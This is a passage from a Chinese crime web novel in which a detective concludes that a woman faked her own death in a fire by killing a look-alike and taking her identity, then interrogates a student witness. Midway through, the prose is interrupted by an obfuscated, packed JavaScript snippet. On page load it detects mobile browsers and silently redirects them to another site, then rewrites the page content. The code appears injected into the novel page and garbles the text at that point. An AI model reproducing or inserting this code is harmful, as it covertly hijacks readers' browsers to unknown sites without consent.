死了。意思是——消失了,不存在了,和曾经的一切彻底断了,再也......回不来了。 就像迟昼最后的那句叹息——就算她回来了,一切,也都回不去了。 严疏沉痛地闭上眼,脑中反复回响着迟昼的那句话。事实的确如此,更何况人死灯灭,又怎会复生...... ——复生? 一道冰冷的闪电猝然劈进脑海,将他从颓丧中彻底惊醒,几乎要从椅子上跳起来。 迟昼......为什么会用那种语气说——“回来了”? 严疏浑身的汗毛瞬间倒竖。一种无源的寒意忽然兜头浇下,让他坐立不安,却又无法精确溯源。他手忙脚乱地抓起手机,颤抖着指尖拖动进度条找到那句话,反复聆听、来回揣摩。 “就算她回来了......一切,也都回不去了。” 如果逝者真能死而复生、重返人间,难道不该是喜极而泣的重回正轨吗?为何会是......这般沉郁的断言? “就算她回来了......一切,也都回不去了。” 回到哪里?是宋朗未婚妻的位置上,还是那个......在河堤上与迟昼并肩而卧的“楚遇”身上? “就算她回来了......一切,也都回不去了。” 她?她? 楚谕...... 寒意骤然变得狂暴,带着难以置信的惊骇,瞬间冲垮了方才所有的犹豫与沉重。当初潘成那种错位的言语此刻清晰地在脑海中复现,随之而来的,是一个令人颤栗的认知。 迟昼那语气里藏着的,根本不是虚妄的安抚,而是......确凿的感悟。 那些曾经被忽略的、细微的不对劲,此刻开始在脑海里疯狂放大—— 为何在那场大火之后,“简宁”便与曾经的朋友断了联系,而且还如此彻底? 当初他只是不经意间初次提及“简宁”这个名字,为何迟昼便会骤然紧绷、如临大敌? 为何那个早已出现在迟昼生活中的“简宁”,偏偏在大火之后,才开始真正驱散他根植已久的颓丧? 最关键的......所有熟人都说细看之下两人其实不很相像,可为何他与宋朗,却都在初见的第一眼,就轻易错认? 那句被他反复揣摩的话语,此刻开始缓慢地、惊悚地剥开所有伪装,逐层回应了严疏的惊疑,串联成一个让人血液倒流的真相—— “就算她回来了......一切,也都回不去了。” 楚谕,回来了。 “就算她回来了......一切,也都回不去了。” 回到了,现在这个迟昼的身边。 那么,焚于火海的......究竟是谁? 严疏的额角开始渗出冷汗,他死死咬住牙关,竭力遏制着剧烈的颤抖。此刻再也无需任何推理,答案已如鬼魅般自行浮现,清晰得令人窒息。 “就算她回来了......一切,也都回不去了。” 归来的人早已面目全非,又怎能奢望昨日重现?对迟昼而言,过往的一切......自然奔涌向前,一去不返...... 严疏瘫入椅中,手机滑落桌面。 怪不得......意外的形式会是“火灾”。 烈焰,会吞噬一切痕迹,包庇一切罪孽——它是最为沉默的共犯。 过去,严疏曾无数次幻想自己直面那些穷凶极恶、机关算尽的罪犯。他想象自己会像荧幕里那些冷硬的刑警一样,在罪孽面前岿然不动,以正义的铁腕与阴影中的罪恶展开泾渭分明的对决。 可此刻,他像一具被抽空力气的躯壳,深深陷进座椅。冷汗浸透衬衫,紧紧贴着后背,带来阵阵黏腻的寒意,每一次喘息,都粗重得像冬日里的破风箱。巨大的精神冲击之下,视线开始模糊、扭曲,眼前那片熟悉的天花板仿佛化作了流动的、怪异的漩涡,映出一张柔美的女人面容。 楚谕。楚谕。 在几乎将他淹没的冰冷与战栗中,一个念头悄然浮现—— 那真是个......噩梦般的女人。 23. 贰拾叁 迟昼抵达时,简宁已在咖啡馆窗边坐了许久。她托着腮,凝望窗外流动的霓虹,侧影在玻璃上投下一道轮廓,清冷又柔软。 瞥见自家车的灯光,她收回目光,向同事示意后拎包起身,快步出来拉开车门。 “怎么这么慢?”她坐进副驾,伸着懒腰深深吸气,语调带着嗔怪。 迟昼将车驶入主干道,含糊应道:“想了点事。” 简宁将座椅向后调,半躺下来侧头看他,忽然轻轻笑了:“迪奥旷野......你什么时候这么讲究了?” “什么?”迟昼一时没反应过来。 “香水。”她声音里带着若有似无的笑意,“男士香水。” 握着方向盘的手猛然收紧,指节泛白。迟昼整个人肉眼可见地绷紧了,喉结滚动,却沉默不语。 简宁脸上的笑意渐渐褪去,恢复成那种漫不经心的清冷。她望向窗外,似是无意地轻叹:“人家都说‘忆苦思甜’......你怎么就只做一半?” 迟昼还在想着如何解释香水的事,有些没反应过来她这句突如其来的话。他含糊地应了一声,几秒后才猛地品出其中深意,一股寒意顿时顺着脊椎急速攀升。 他强迫自己平稳呼吸,声音有些艰涩,带着些刻意的轻松:“窃听风云吗?” 简宁没有回答,只是静静看着他。 迟昼维持不住表面的平静了,声音陡然拔高:“你还真搞监听?” 简宁忽然嗤笑一声,语调慵懒却坚定:“我关心你,想知道我不在的时候你都做了什么,不行吗?” 那语气里的掌控欲,让迟昼想起了某个尘封于记忆深处的身影。他想质问,想发怒,却在开口时无法控制的语塞:“你......你......” 可她显然已经领会了他未出口的意思,脸色沉了下来:“你想说什么?” 当她压低声音,那份微哑便不再明显,听起来与记忆中别无二致,只是多了几分成熟的清冽。 听着这个声音,迟昼终究没能说下去,只是长长叹息。 车内陷入漫长的寂静,只有引擎在低声轰鸣。直到女人再次开口,声音轻得像耳语:“阿昼,如果我没打那个电话......你会继续说下去吗?” 红灯亮起,车子猛地停在斑马线前。 迟昼死死扣住方向盘,仿佛攥着最后的浮木。他陷入了回忆,胸口开始剧烈起伏,视线涣散地落在虚空某处。 “对不起。”这三个字从他齿间艰难地挤出,浸满了无法言说的沉痛。 “你在对谁道歉?”女人静默地注视着他挣扎的侧脸,声音平静如深潭。 迟昼没回答,只是沉默地摇头。 “对我,还是对她?”她的追问如细雨般绵密,步步紧逼:“如果是对我——是哪一刻的我?如果是对她——又是哪一个‘她’?” 迟昼在追问中溃不成军。他拼命摇头,眼眶通红,却发不出一个音节。 看着他濒临崩溃的模样,女人几不可闻地叹了口气,没再说什么,只是道:“换我来开吧。” 迟昼茫然地转过头,眼神涣散,却带着疑虑。 她弯起嘴角:“不远,没事的,不会有人查。” 迟昼的思绪仿佛又回到了那个堤坝上,恍惚间忽然低声喃喃:“你......载着我。” 她解安全带的动作微微一顿,推门下车时轻声回应:“嗯。我载你。” 两人没再多说什么,沉默而迅速地交换了位置。 绿灯亮起,女人熟练地上档,起步。驶上环路后,她才终于开口,声音如夜风般轻柔:“阿昼,所有的事......都不怪你。” 迟昼僵直地望着窗外,只是机械地摇头,沉痛地重复:“对不起。我对不起......所有人。对不起,对不起。” 那声音里的痛楚与绝望,让驾驶座上的人抿紧了唇。 多年前的那场大火在她眼前一闪而过,与某个下午铺天盖地的火烧云逐渐重合。 听着身边人压抑破碎的忏悔,她悲伤地想——该说对不起的......从来都是自己啊。 ********* 严疏近来异常沉默,甚至引起了几个同事的注意。大家难得地表达了关心——毕竟他短时间内连立两功,风评也正逐渐好转。 若在以往,他早该趁热打铁,将这个“过分的巧合”挂在嘴边四处游说,恨不能立刻重启调查。可事实上,他却异常安静,只是埋头搜集简宁的旧照,连赵队主动问起,也只含糊其辞说“还需要调查”,全然不见往日的急切。 严疏自嘲地想,也难怪从前同事们对他颇有微词——当初毫无实证、仅凭直觉就要上蹿下跳;而今真正触及了命案边缘,却反而缄默如石。 真是莫名其妙。 但他心里清楚——这次,不同了。不论如何,他绝不会放手。 如果说先前的倔强更多是不甘与执念在驱使,那么现在,则是深植于骨髓的刑警本能被真正唤醒了。当真相的轮廓渐渐成型,他的感受也开始改变——既不是发现线索的兴奋,也不是与迟昼周旋时的斗志,而是一种......近乎肃穆的凝重。 这从来不是什么“过度巧合”,而是一桩几乎瞒天过海的、冷血的谋杀。 可令人心焦的是,他依然缺少那该死的“证据”。 那天严疏在刺骨的寒意中静坐了许久,才让冻结的思维重新运转,艰难地开始厘清方向。 真相已经浮出水面,尽管仍然不声不响——迟昼身边的“简宁”,根本就是楚谕本人。而深埋地下的那具焦尸......才是那个钻了牛角尖的女人。 有那么一瞬,严疏觉得案件性质虽变,但好歹更清晰了——无需再漫无目的地搜寻,接下来只需证明这场骇人听闻的偷天换日,就能正式立案,重启调查。 可当他继续推演,才发现自己面对的是一个悖论般的难题——如何证明一个真实存在的人,其实并非自己? 这听起来像个荒诞无聊的哲学命题,此刻却成了横亘在真相面前,冰冷又现实的绝壁。 严疏起身走到白板前,拿起笔,开始搭建逻辑框架。他首先划出一条分界线—— 即便能证明现在的“简宁”并非本人,最多也只能构成一桩充满阴谋论的民事纠纷,指向“医院抱错”或“身份冒用”等陈年旧事。仅凭二人面容上的几分相似,远不足以将此事与悦澜湾火灾案关联,自然也无法撼动那场已经盖棺定论的“意外”。 因此,要重启此案,突破口只有一个——直接证明火灾中的死者并非楚谕。 从这个角度切入,问题看上去简化了不少:毕竟无需查明死者究竟是谁,只要证明那不是楚谕,就足以撕开裂口。 笔尖在白板上重重一顿。 但这就回到了那个棘手的难题:如何证明,一个人不是自己?而这次的情况甚至更为极端——要证明的是一具无言的尸体并非本人,且是一具历经焚烧、又已火化成灰的尸体。 严疏的心沉了下去。他想起结案报告中的关键证据:公寓浴室和洗手池中提取的DNA与尸体相符。 这说明楚谕早有预谋。通过某种手段,她提前在现场布置了简宁的生物样本。 “砰”的一声,拳头重重砸上桌面。愤怒之余,严疏暗自心惊——这个女人,竟将DNA检测的漏洞利用得如此彻底——DNA本身无法直接指认,它只能通过“匹配”来建立关联。正是利用这种错位的“匹配”,她完成了一场认知篡改——让所有人在第一时间就先入为主,认为屋里那具面目全非的焦尸,就是住户本人。 严疏盯着白板上交错纵横的线条,皱眉思索:这个逻辑误区,怎样才能打破? 如果要证明死者并非楚谕,只有两条路可走—— 要么,证明死者另有其人; 要么,证明楚谕尚在人间。 前者,需要将尸体DNA与真正的简宁进行匹配,以此否定死者是楚谕。 后者,需要将现在这个“简宁”的生物样本与楚谕的旧物进行比对,以证实她并未死去。 笔尖悬停。思路看似清晰——路只有这两条,却似乎......都走不通。 第一条路,几乎已被彻底焚毁。以那个女人的冷酷与缜密,绝不可能留下属于简宁的痕迹——这大概就是她急匆匆拉着迟昼搬家的真实原因。 除此之外,更为致命的是,那具尸体早已被火化成灰。 对于火灾中的焦尸,或许还能提取DNA,再设法从简宁的亲友处寻找可供比对的样本。但经过高达八百摄氏度、长达数小时的彻底焚烧,牙齿、骨骼已成齑粉,核DNA也早已彻底断裂变性,成了无用的碎片。 即便能从骨灰中奇迹般地提取到信息,也无法在法律上证明用作比对的物品确实属于简宁。他当然可以声称某件物品来自简宁的朋友,而此人不认识楚谕,因此物品不可能是楚谕的——但这种推论只能用于立案后的侦破环节,不能作为启动程序的合法依据。 第二条路,虽然绕开了尸体的难题,却面临着同样的困境——即便获取了现在这个“简宁”的样本,又该如何证明用于比对的物品确实属于“已故”的楚谕?更何况楚谕“逝世”已久,“遗物”只怕早已被清理殆尽。 严疏的眉头越皱越紧,忽然又想起来宋朗——他愿意配合翻案。 这个念头让他精神一振,但仔细推敲后,还是无奈摇头。作为刑警,他太清楚立案的门槛——有犯罪事实,并需要追究刑事责任。 即便宋朗能拿出未婚妻曾经的贴身物品,即便DNA真的与“简宁”匹配成功,警方也会要求他证明“这份物品确实属于楚谕”。否则,这就是一份来路不明的证物,无法纳入用于推动立案的合法证据链。 疑罪从无的原则,在此刻成了无法逾越的壁垒。只要无法证实物品的来源,DNA比对报告在法律层面就毫无意义。 宋朗能拿出物品已属不易,又能如何证明来源?别说宋朗了,就连自己,也不知该如何操作。 不过若是以此将事情闹大,或许能使对方忙中出错。但...... 严疏额角猛地一跳,想起了刑警支队的那场“跟踪”闹剧。 倘若“简宁”反咬一口,指控宋朗偷窃她的私人物品,再扯出他之前的跟踪前科......宋朗甚至可能直接被送去精神病院,理由是“过度思念亡妻导致精神失常,严重影响他人的正常生活”。 笔从指间滑落,在桌面上发出清脆的响声。严疏有些想笑,却只觉齿冷。 原来那场闹剧的真正用意,竟在这里等着。他尚未落子,却早被她锁定了终局。 这个女人,简直堪称机关算尽、步步为营。面对曾经的未婚夫,竟也能冷情至此。 严疏凝视着白板上错综复杂的思路图,心底泛起刺骨的寒意——她太狠,也太精了。 思绪再次沉入那段录音,胸口翻涌着难以名状的复杂情绪。他仿佛看了一场漫长的悲剧,眼睁睁看着主角一步步被侵蚀浸染,最终与黑暗融为一体,成为了深渊本身。 他忽然清晰地意识到,自己一直以来都找错了人。迟昼那密不透风的阴柔固然令人头疼,但那个真正狠绝的对手,从来都不是他。 而是......那个总是眉眼柔婉、笑意盈盈的女人。 他看向桌上简宁的证件照——这是他找到的唯一一张清晰的照片——当时甚至无须核对拍摄时间,他就知道这是真正的简宁。 原因再简单不过——看到这张照片的第一眼,他虽感到熟悉,却并未将她错认成楚谕。 看来,蔡雨当初给他看的那张合照里的,已是涅槃而来的......她。 两个字陡然浮现脑海:狂妄。 严疏又想起那次在咖啡馆的会面——同样是她主动邀约——提供的“线索”甚至直接主导了他的调查。 他冷冷蹙眉。何等嚣张,何等有恃无恐。 说到底,严疏的调查其实一直也没什么具体方向,非要说的话,最初的目的只是厘清两场火灾之间那令人不安的关联,并为戴着同款项链葬身火海的楚谕寻找真相。 可是这份初心,如今竟以近乎羞辱的方式,回旋而来。 现在,他决定要与楚谕——这个将法律与人性同时践踏的女人——一斗到底。他倒要看看这朗朗乾坤,是否终究邪不压正。 严疏狠狠咬紧牙关,思绪再次转向迟昼。这个人,在那场属于楚谕的涅槃烈焰之中,究竟扮演了什么角色? 从种种迹象推断,他恐怕从一开始就心知肚明。可若如此,初闻楚谕死讯时那份撕心裂肺的崩溃绝望,为何能演绎得如此逼真,毫无破绽? 那时的迟昼,是真的不知情,还是早已将这包庇的戏码,背着良心演成了出神入化? 但不论如何,这种扭曲的、将彼此拖入深渊的羁绊,已足以令人心底发寒。 严疏深深叹息,一股混合着愤怒与茫然的情绪在胸中激荡。 这算什么?感情吗? 虽然他不懂情爱,但也知道它向来被赋予世间最为美好的词汇。可对这共生共栖的二人而言—— 共犯,难道也算一种浪漫? ********* 缜密思索许久却仍无果,严疏只能重拾之前的线索——地库监控里的代驾。他向李涵打听了几个常见的代驾趴活点,然后拿着打印出来的照片去那些地方挨个询问。 在接连碰壁后,终于从一个靠在车上抽烟的光头那里得到了回应:“哎,这看着像小何啊。”光头眯眼打量着照片,“他好像是兼职,就跑夜单,白天得上班的。” 严疏早已没了最初发现线索时的兴奋,现在反而有一种莫名的直觉在提醒他此路难通。但他还是追问:“知道他在哪上班吗?或者有没有联系方式?” 光头吐了口痰,耸耸肩:“兼职也算对家好吧,哪儿来的联系方式。不过聊过几句,他好像在个餐馆干活,具体是哪儿就不知道了。” 严疏心头一沉。餐馆遍布全城多如牛毛,又不能动用刑侦系统进行排查,这要怎么找? 他正要转身离开,光头却突然喊住他:“哎!我想起有个哥们儿坐过他车,还一起去店里吃过饭,说不定知道地方。帮你问问?” 严疏脚步顿住,忽然觉得这些流里流气的人也能如此顺眼。 光头很快联系上他朋友,对方说记不清店名,但认得路,可以带人过去。严疏刚点头,光头已经利落地拉开了车门——原来在这等着呢。 他冷笑一声:“搁这儿跟我演戏呢?到底知不知道?” 光头打着哈哈:“带您找找嘛,好事多磨......” 严疏懒得周旋,直接亮出警官证,语气骤冷:“看着这个,老实回答。到底知不知情?” 光头顿时慌了。他朋友确实去过那餐馆,但送上门的不要白不要,原本打算带这冤大头在城里兜几圈再送过去宰笔车费,没想到居然踢到了铁板。 两人支支吾吾地想撇清关系,说着“不认识”,随后就要上车开溜。 严疏拦住去路:“要是真知道那家店,我可以搭你车,路费照付。别跟我绕弯子。” 两人交换了个眼神,光头立刻堆起笑,连连点头。 到地方后严疏本想警告几句,又深知这些老油条不会当真,便不再多言,直接付钱下车。好在对方忌惮他刑警的身份,没敢在价钱上耍花样。 他推门走进餐馆,拿着照片向老板打听。老板果然认出了小何,盯着照片皱了皱眉:“我就说这小子晚上肯定在搞兼职,要不白天总没精神。”嘀咕两句后,他转向严疏:“你找他?赶巧了啊,前阵子刚从我这走,说是回老家了......我哪知道他老家哪的?” 熟悉的无力感再次袭来。 现在严疏清清楚楚地知道,这并非巧合。 是有人,拦在了他的前面。 “有他联系方式不?” 老板从柜台下翻出个皱巴巴的本子推过来:“喏,自己翻吧,应该有登记。” 那是本简易的员工登记册,纸页已经泛黄,上面潦草地记录着工作人员的基本信息。严疏很快找到小何的信息,记下号码后走到店外拨通。 机械女声响起——您拨打的号码是空号,请稍后再拨...... 他又尝试用微信搜索这个手机号,同样一无所获。 看来是回老家之后,把号码和社交账号一起注销了。 严疏不自觉地捏紧了手机。正常人搬家哪会连根切断所有联系方式?用脚指头想都知道,是有人抢先一步彻底断了这条线索。 断的确实干净利落。茫茫人海,又是流动人口,除非对方主动犯案,否则这辈子他都别想找到这个小何。 他在餐馆外站了许久,晚风裹着油烟味扑面而来。这一次,心中涌上的不再是失望,而是一股压抑不住的愤怒。 他深吸一口气,强迫自己冷静下来,掏出随身携带的笔记本,在“代驾”那一行重重划上一道横线。 笔记本上密密麻麻地记录着各种线索,却大多已被潦草的线条划去。 严疏的目光在仅存的几个未被划掉的线索间游移,最终停留在“宋晴”二字上。 他无奈地叹了口气,收起笔记本,决定再当一次流氓。 ———————————— 再次见到严疏,宋晴整个人肉眼可见地僵住了。她二话不说,转身就要离开。 严疏没辙,只好快步上前拦住去路,“唰”地亮出警官证,语气不容置疑:“公民有义务配合公安机关调查案件。” 宋晴被这突如其来的正式姿态震住了,动作明显迟缓下来,半晌才虚张声势地反驳:“哪、哪有什么案件啊!” 当然有。不仅有,还是一桩命案。尽管从法律程序上说......它确实尚未成立。 但既然宋晴已被唬住,严疏自然不会在此刻退缩,而且他确实拥有“了解情况”的问询权利:“案件性质已经升级,很快就会正式立案。” 说这话时,他的心情异常沉重。一桩性质恶劣的谋杀就在眼前发生,却只有他一人察觉。可这众人皆醉我独醒的处境,带来的却并非优越,而是蚀骨的孤独与无力。 他这份凝重被宋晴误解成了案情严重的信号。她顿时乱了方寸,曾经准备过的推脱说辞也早已抛到九霄云外,只能亦步亦趋地跟着严疏走出了校门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352905|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次坐在学校门口的咖啡店里,宋晴整个人仿佛都失了魂。她坐立不安,手指无意识地绞着衣角,每一个细微的动作都在诉说着内心的慌乱。 严疏已经许久未曾出现,这些日子她几乎完全放松了警惕,以为一切都已过去,并渐渐将关于楚谕的一切尘封心底,也不再提防这个固执警察的突然造访。 可时隔多日,他竟再度出现,还带着前所未有的肃穆沉重。 宋晴猝不及防,只觉得四肢冰凉。表面尚能强装镇定,内心却早已崩溃尖叫——他一定查到了什么! 严疏将她这副魂不守舍的模样尽收眼底,心下已然确认——宋晴,一定隐瞒了关键信息。 他清楚地意识到,这个女孩就是最好的突破口——她知晓什么内情,且心理防线薄弱。 证件照上的面容忽然在严疏眼前一闪而过——六尺之下不见天日,她做错了什么,要遭受这般命运? 沉重的压抑感汹涌而来。他不动声色地深吸一口气,指节收紧,随即掏出手机快速操作了几下,然后将屏幕朝下扣在桌面上。 “案情已经升级,和之前完全不同。”他直视着宋晴的眼睛,语气沉肃,“接下来我会完整询问案件相关细节,请你谨慎作答。今天的每一句话,将来都可能成为呈堂证供。本次问询将全程录音,以确保公证。” 他稍作停顿,才让每个字重重落下:“这次不是儿戏。如果楚谕的案子最终被定性为他杀,你今天的任何隐瞒或虚假陈述,都将构成包庇,日后有承担相应法律后果的风险。请问是否明白?” 宋晴彻底僵在原地,嘴唇微张,却发不出任何声音。 “是否明白?”严疏毫不退让。 宋晴开始不受控制地发抖,声音里带上了细微的哭腔,却强忍着不敢崩溃,只能死死咬住下唇:“一定......要这样吗......” 她今年大四了。虽不算纨绔,却也是个彻头彻尾的玩咖,勉强混到毕业,从没想过继续深造——反正家族企业早为她留好了位置。当同龄人为前途焦虑时,她的人生早已被安排妥当:母亲陈静为她打点生活琐事,父亲和兄长为她遮风挡雨。可以说,在遭遇这件事之前,她从未真正理解过“挣扎”二字的含义。 但人,只能在磨砺中成长。缺失了这堂课的代价,此刻正在呈现。 尽管宋晴今日打扮得知性成熟,但从她眼中,严疏只看到了一个虚张声势的、易被操纵的孩子。 “你只需要回答明白,或不明白。”严疏不再给她周旋的余地,既然已经决定出手,那就必须见效:“如果明白,我们现在开始。如果不明白,我可以再重复一遍。” 宋晴知道今天已无处可逃。她无意识地攥紧裙摆,指甲几乎要掐进掌心。被逼到绝境的头脑本是一片空白,但此刻却忽然奇异地想起了什么,渐渐催生出一种破釜沉舟的冷静。 “明白了。” 严疏点头,摊开笔记本:“很好,我们开始。” ———————————— “今年7月8号晚上十点之后,你在哪里,在做什么?” “那天......我和几个朋友在酒吧玩。本来约好要转场去唱歌,结果有人临时说要陪男朋友,大家就散了。我正准备离开时,突然看见一个人——第一眼看很像楚谕。酒吧灯光很暗,看不清正脸,但那轮廓确实很像,我当时以为是她突然换了短发造型。之前我哥老拿她和我比,说她就从来不去这种地方......现在被我抓包了,就想上去对质。” “具体时间是几点?” “记不清了......大概十点多吧。” “继续。” “酒吧里人很多,她从我身边过的时候我没反应过来,等回头再找就费劲了,好不容易才找到她。我承认当时我态度很差,直接上去拉扯......但过了半天才意识到她好像完全不认识我。当时DJ正好换音乐,灯光也更暗了,我觉得她在装傻演戏,就吵得更凶。这时候有个男人过来,边把我俩往外面扯边跟她说什么。那个男人把我俩扯到酒吧后面的巷子那,路上说着有误会,但他是个男人啊,而且他俩明显是一伙的,我一时害怕,就想拿电击棒电他,没想到他反应很快,听见声音一错身,我就......电错人了。” “电击棒哪来的?” “网上买的......刷视频看到说是防身神器,还是国外的货,我们几个姐妹人手一个。但我也不知道威力这么大......之前以为最多就是让人抽搐一下,没想到真能把人电晕。” “之后呢?” “看她晕倒,我也吓坏了。趁那男人照顾她的时候就赶紧跑了,之后打了辆车直接回家。” “打车订单有吗?” “我没用软件,巷子口有出租,我看见空车直接上了。” “到家具体几点?” 之前还算流畅的叙述,在这里突然卡壳。宋晴眉头紧皱,盯着桌面良久,才像想起什么一样,有些仓促地开了口。 “哦我想起来了,应该是零点左右。那天有个护肤品零点限时抢,我在车上就一直盯着,到家才下的单......所以肯定是零点之后。” “订单有吗?” 大段的叙述似乎逐渐缓解了宋晴的紧张,她点点头,掏出手机打开购物软件,翻出那条订单信息举给严疏看。 “下单时间是0点11,那时候我已经到家了。” “你家是独栋别墅,门口安摄像头了吗?” “有。但我那天是从侧边院门进去的,后院有楼梯直通我卧室的露台。毕竟时间太晚了,我不想惊动爸妈。不过院门那边没有摄像头,因为会拍到邻居家正门,涉及隐私问题。” 那种熟悉的阻滞感再次袭来,严疏不禁有些烦躁。似乎每当触及“摄像头”这类铁证,总会遇到这种“合情合理”的障碍。 瞥眼间,他注意到宋晴的姿态已经明显放松下来,虽然仍带拘谨,却早没了先前的颤抖。 他皱了皱眉,敛起心绪,继续追问。 “说说酒吧里那对男女。” “那女人确实不是楚谕,我之前就说过了。我不认识她,只是她们轮廓相似,在昏暗的环境里就搞错了。那个男人......我不太确定,但可能是之前和你提过的、和楚谕有接触的那个人。其实我也越想越糊涂——虽然我认错了人,但后来我跑出去打车时,明明看到了那辆车啊。” “那辆车,之前是你在开?” “对。但我晚上经常要叫代驾,太晚了就不方便也不安全,还不如直接打车,渐渐的那车就闲置了,后来我哥给了楚谕。” “车闲置在哪?” “不记得了。我之前在悦澜湾住过一阵,那车不开了以后就停在附近的一个地库里。” “银枫广场?” “我不知道具体名字,是我哥联系的。应该就是那种长租地库吧。” “之前我问你在哪见到的这个很像楚谕的人,你说在街上。为什么隐瞒?” “这不是出了个乌龙嘛......把人电晕也不是小事,就不太......想说。而且,仔细看的话,其实她和楚谕也不是很像。” “这件事有后续吗?” “没有,就这么稀里糊涂过去了,也没人来找我要赔偿什么的。” 宋晴的对答愈发流畅,严疏却烦躁愈甚。说实话,除了最初的异常,她的叙述几乎无懈可击——那开始的时候,她究竟在害怕什么?这种程度的叙述,应该不至于催生那种反应。 但这个问题只能他自己挖掘了。严疏做好记录,合上笔记本:“你说的情况我会核实。感谢配合。” 收起手机和笔记本时,严疏抬眼就撞见宋晴长舒一口气的模样。他挑眉追问:“还有什么‘不太想说’的吗?查出来再说,可就晚了。” “没了。”宋晴咬了咬唇,忽然问:“还在录音吗?我能问个私人问题不?” 这么快就有心情闲聊了?严疏对她心态调整之快感到诧异,但有话说总是好的,便回答道:“没录了,问吧。” 宋晴笑了笑:“您这个年纪,还没交女朋友啊?” 严疏强忍住翻白眼的冲动:“我没时间考虑这些。” 宋晴却继续追问,语气有些莫名:“你们男人,是不是......都喜欢楚谕那样的?” 这句话引起了严疏的警觉。他正色道:“楚谕哪样?” 宋晴却不再回答。她转头望向窗外,沉默良久,最终也没说什么,只是摇了摇头。 严疏皱紧眉头,忽然想起宋晴是第一个质疑楚谕表里不一的人。他换了个角度追问:“你之前说过,觉得楚谕并非表面看起来那样单纯。有什么依据吗?” 宋晴眼神闪了闪,回过头来,勉强笑了一下:“我已经告诉过你了,就是一种直觉。之前说围巾的事,你不是还不信我吗?” 严疏点点头。宋晴这样被保护得很好的姑娘,心思相当纯粹,或许真的存在某种难以言说的直觉,让她能感知到楚谕那虚伪的假面。 “感谢配合,告辞。” 他这么说服了自己,可心底总有一丝说不清道不明的违和感,像一根细刺,隐隐扎在了意识深处。 24. 贰拾肆 回到车上,严疏将刚刚的记录摊开,与先前搜集的线索逐一比对。指尖划过一行行文字,他的眉头越皱越紧—— 所有细节,竟都严丝合缝。 酒吧目击者的描述、宋晴方才的供述,乃至“简宁”那日主动提供的信息,彼此交织、相互印证,构成的图景完美自洽。 如此看来,“简宁”当初主动对他说的,竟也大多是事实。其实细想之下,这也不难理解——那晚与简宁同在车上的就是楚谕本人,她自然清楚每一个细节,不过是以“简宁”的身份,在他面前从容复述了一遍。 “砰!” 拳头狠狠砸在方向盘上。那两个字再次浮现——狂妄。 当时那女人看着他埋头记录的模样,心底是否正自冷笑? 严疏从警多年,见过太多目无法纪、寡廉鲜耻的惯犯,被他们轻视、无视已是家常便饭。但此刻,他真切地体会到了一种全新的感受......羞辱。 一个罪犯,就坐在他对面,面不改色地编织着真假参半的叙述,而他像个傻子一样奋笔疾书,毫无察觉。 在翻涌的怒意中,一个念头忽然浮现——既然那段“共处时光”只属于楚谕和简宁,那么关于“车上谈话”的真相,便只剩下唯一的叙述者。 如今一人已永远沉默,活着的那个,自然可以随心所欲地捏造空白。 看来,“简宁”告诉他的,大概半是真,半是谎。上车前的冲突大致属实——可以从知情的迟昼那里听来,但车门关闭后发生的一切,便只有天知、地知......她知。 楚谕甚至有时间在公寓精心布置即将到来的火灾现场,意味着简宁很早就已落入她手。鉴于女性的力量限制,简宁......极可能始终处于昏迷。 但那电击棒毕竟并非军用,威力再强,也不可能让人长时间失去意识。楚谕必然借助了药物或其他手段,维持了简宁的昏迷状态。 那么......那场所谓的“车上谈话”,真的发生过吗? 简宁,真的苏醒过吗? 而这个疑问,自然而然引出了一个更为毛骨悚然的问题—— 火起之时,简宁......是否依然意识不清? 明明引擎并未启动,严疏的手却下意识地死死攥住了方向盘,仿佛需要抓住些什么,来稳住此刻几乎要被这个猜想冻结的呼吸。 他深吸一口气,迫使思绪收拢,将“楚谕”代入“简宁”,开始还原那夜的真相。 楚谕声称她们在车上进行了交谈,监控也显示车辆确实停留了相应时间。但那段静止的空白里,车内究竟发生了什么? ——极可能是楚谕冷冷静坐,而真正的简宁,始终在后座不省人事。 待监控下的“谈话时间”足够后,楚谕便下车混淆视听——监控录像中看到的短发,应该是她提早备好的假发。 既然她以简宁的身份下车回家,那么这就意味着,必须有人来填补“楚谕”的空缺。 ——难怪,会冒出一个代驾。 监控显示“简宁”下车后,车辆很快重新启动。这说明代驾小何早在停车前就已身在车内,与清醒的楚谕、昏迷的简宁共同熬过了那段所谓的“谈话时间”。 楚谕下车后,小何便将车驶向她提前指定的地点——银枫广场地下车库。在监控损坏的B2层,楚谕重新上车,结束了代驾行程。 至于车辆在地库的滞留时间——严疏想起了那辆顺风车的记录。 乘顺风车到简宁的住处,再折返回银枫广场,这个过程......需要时间。 ——原来,这就是车辆必须进入地库并滞留的、不可替代的理由。 这之后,楚谕接过了方向盘,载着昏迷的简宁,驶向了那个她精心准备的焚场。 推演至此结束,令严疏感到一阵刺骨的寒意。不是因为罪行本身的残忍,而是执行过程中展现出的、近乎完美的缜密算计。 证据,他需要证据。没有证据,再合理的推断也只是臆测。就算逻辑无懈可击,即便事实当真如此,在法理上......也仍是一纸空谈。 严疏紧锁眉头,苦苦思索——除了小何,还能如何证明楚谕那夜的轨迹? 寻找她下车后独自前往银枫广场的踪迹?可那时的她,正在执行一场精心策划的涅槃,怎么可能在最关键的环节留下破绽? 既然楚谕本身无懈可击,那她分饰简宁之时,是否有机可乘? 可在浓重夜色之中,一顶假发足以颠倒黑白。除非恰好遇见熟人,否则......回家的那个人,只能是简宁。 精巧,高效,天衣无缝。这完美迷宫的唯一钥匙,只存在于那个代驾身上。 可这个人,已消失在了茫茫人海。 严疏闭上眼,按住突突直跳的太阳穴。片刻后,他猛地启动引擎,车子如离弦之箭般冲向城西。 他受够了这座没有出口的迷宫。 现在,他要直面设计它的人。 ********* 门铃响起时,迟昼刚把最后一道菜摆上餐桌,正转身要去厨房清洗锅具。 听见铃声,他以为是简宁又在下班路上取了快递,双手抱着东西不便掏钥匙,便系着围裙径直走向门口。 他一边转动门把一边随口道:“家里都快堆不下了,怎么还往回......” 话音在看清来人的瞬间戛然而止。 